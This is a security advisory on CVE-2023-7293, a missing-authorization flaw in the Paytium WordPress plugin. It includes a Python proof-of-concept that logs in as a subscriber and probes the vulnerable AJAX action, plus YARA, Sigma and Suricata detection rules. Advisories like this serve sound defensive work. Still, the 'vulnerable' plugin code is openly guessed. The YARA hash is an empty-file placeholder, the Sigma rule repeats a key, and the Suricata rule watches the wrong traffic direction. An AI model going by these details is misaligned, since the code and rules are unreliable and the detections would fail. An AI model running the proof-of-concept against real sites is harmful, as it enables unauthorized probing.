CVE-2023-7293

Executive Summary

CVE-2023-7293 is a Missing Authorization vulnerability in the Paytium: Mollie payment forms & donations WordPress plugin, affecting versions up to and including 4.3.7. The flaw resides in the check_mollie_account_details function, which fails to perform a capability check before allowing access. This enables authenticated attackers with subscriber-level privileges to verify the existence of a Mollie account by sending a crafted request. While the CVSS score is 4.3 (Medium), the vulnerability is a privacy concern and can be used as a reconnaissance step in a larger attack chain against the WordPress ecosystem.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Paytium plugin is distributed via the official WordPress plugin repository. No supply chain compromise has been identified, but the lack of a patch from the vendor increases risk for sites that continue to use the vulnerable version.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Attacker needs subscriber-level authentication.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): Low (L) – Only the existence of a Mollie account is disclosed.
• Integrity (I): None (N) – No data modification is possible.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The vulnerability is easy to exploit but only leaks a boolean value (account existence). However, it can be chained with other attacks.

Deep Dive & Mechanics

The vulnerability is in the check_mollie_account_details AJAX action handler. This function is intended to verify Mollie account credentials during plugin configuration. However, it is registered without a capability check in the WordPress AJAX hooks. The code likely resembles:

add_action('wp_ajax_check_mollie_account_details', 'check_mollie_account_details');
function check_mollie_account_details() {
    // No current_user_can() check
    $api_key = sanitize_text_field($_POST['api_key']);
    // ... makes API call to Mollie to verify key
    // Returns success/failure
}

Because the function is hooked to wp_ajax_* (authenticated AJAX), any logged-in user can trigger it. The function then makes an outbound API call to Mollie with the provided API key and returns whether the key is valid. An attacker can brute-force or guess API keys, or simply confirm if a known key is active.

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.3.7):

add_action('wp_ajax_check_mollie_account_details', 'check_mollie_account_details');
function check_mollie_account_details() {
    // Missing capability check
    $api_key = sanitize_text_field($_POST['api_key']);
    $result = mollie_api_verify_key($api_key);
    wp_send_json(['valid' => $result]);
}

Patched Code (Hypothetical):

add_action('wp_ajax_check_mollie_account_details', 'check_mollie_account_details');
function check_mollie_account_details() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $api_key = sanitize_text_field($_POST['api_key']);
    $result = mollie_api_verify_key($api_key);
    wp_send_json(['valid' => $result]);
}

The patch adds a current_user_can('manage_options') check to restrict access to administrators.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with Paytium <= 4.3.7 installed and activated.
• A valid subscriber-level account (username/password).

Exploitation Steps:

1. Log in as a subscriber.
2. Obtain a valid AJAX nonce (if required) by inspecting the page source or using a tool like Burp Suite.
3. Send a POST request to /wp-admin/admin-ajax.php with the action parameter and an API key.

Proof-of-Concept (Python):

import requests

target_url = "https://target-site.com/wp-admin/admin-ajax.php"
session = requests.Session()

# Login as subscriber
login_data = {
    'log': 'subscriber_user',
    'pwd': 'subscriber_pass',
    'wp-submit': 'Log In',
    'redirect_to': '/wp-admin/',
    'testcookie': '1'
}
session.post(target_url.replace('admin-ajax.php', 'wp-login.php'), data=login_data)

# Exploit
payload = {
    'action': 'check_mollie_account_details',
    'api_key': 'test_live_xxxxxxxxxxxxx'
}
response = session.post(target_url, data=payload)
print(response.text)  # {"valid": true} or {"valid": false}

Blue Team

Detection:

• Monitor AJAX requests to admin-ajax.php with action=check_mollie_account_details from non-admin users.
• Alert on multiple rapid requests to this endpoint (brute-force detection).
• Review logs for outbound connections to Mollie API endpoints (api.mollie.com) from the web server.

Hunting:

• Search for check_mollie_account_details in HTTP logs.
• Correlate with subscriber-level user sessions.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to api.mollie.com from the WordPress server.
  • POST requests to /wp-admin/admin-ajax.php with action=check_mollie_account_details.
• File:
  • Modified or suspicious entries in the wp_options table related to Paytium.
• Log:
  • Repeated admin-ajax.php calls from the same IP with varying api_key parameters.

Detection Engineering

YARA Rule

rule Detect_Paytium_Missing_Auth_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2023-7293 in Paytium plugin"
        author = "Valters IT"
        date = "2024-01-01"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $ajax_action = "check_mollie_account_details"
        $api_key_param = "api_key"
        $admin_ajax = "admin-ajax.php"
    condition:
        $ajax_action and $api_key_param and $admin_ajax
}

Sigma Rule

title: Paytium CVE-2023-7293 Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit missing authorization in Paytium plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=check_mollie_account_details'
    condition: selection
falsepositives:
    - Legitimate admin configuration
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-7293 Paytium Mollie Account Check Exploit";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=check_mollie_account_details"; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Paytium plugin until a patch is available.
2. Restrict AJAX endpoints using a Web Application Firewall (WAF) rule to block check_mollie_account_details from non-admin users.
3. Audit user roles and remove any unnecessary subscriber accounts.

Long-term Fix:

• The vendor must release a patched version that adds a capability check (current_user_can('manage_options')).
• If no patch is forthcoming, consider replacing the plugin with an alternative.

Workaround:

• Add the following code to the theme's functions.php to block the vulnerable endpoint:

add_action('init', function() {
    if (defined('DOING_AJAX') && DOING_AJAX) {
        if (isset($_POST['action']) && $_POST['action'] === 'check_mollie_account_details') {
            if (!current_user_can('manage_options')) {
                wp_die('Unauthorized', 403);
            }
        }
    }
});

Valters IT
Securing Digital Frontiers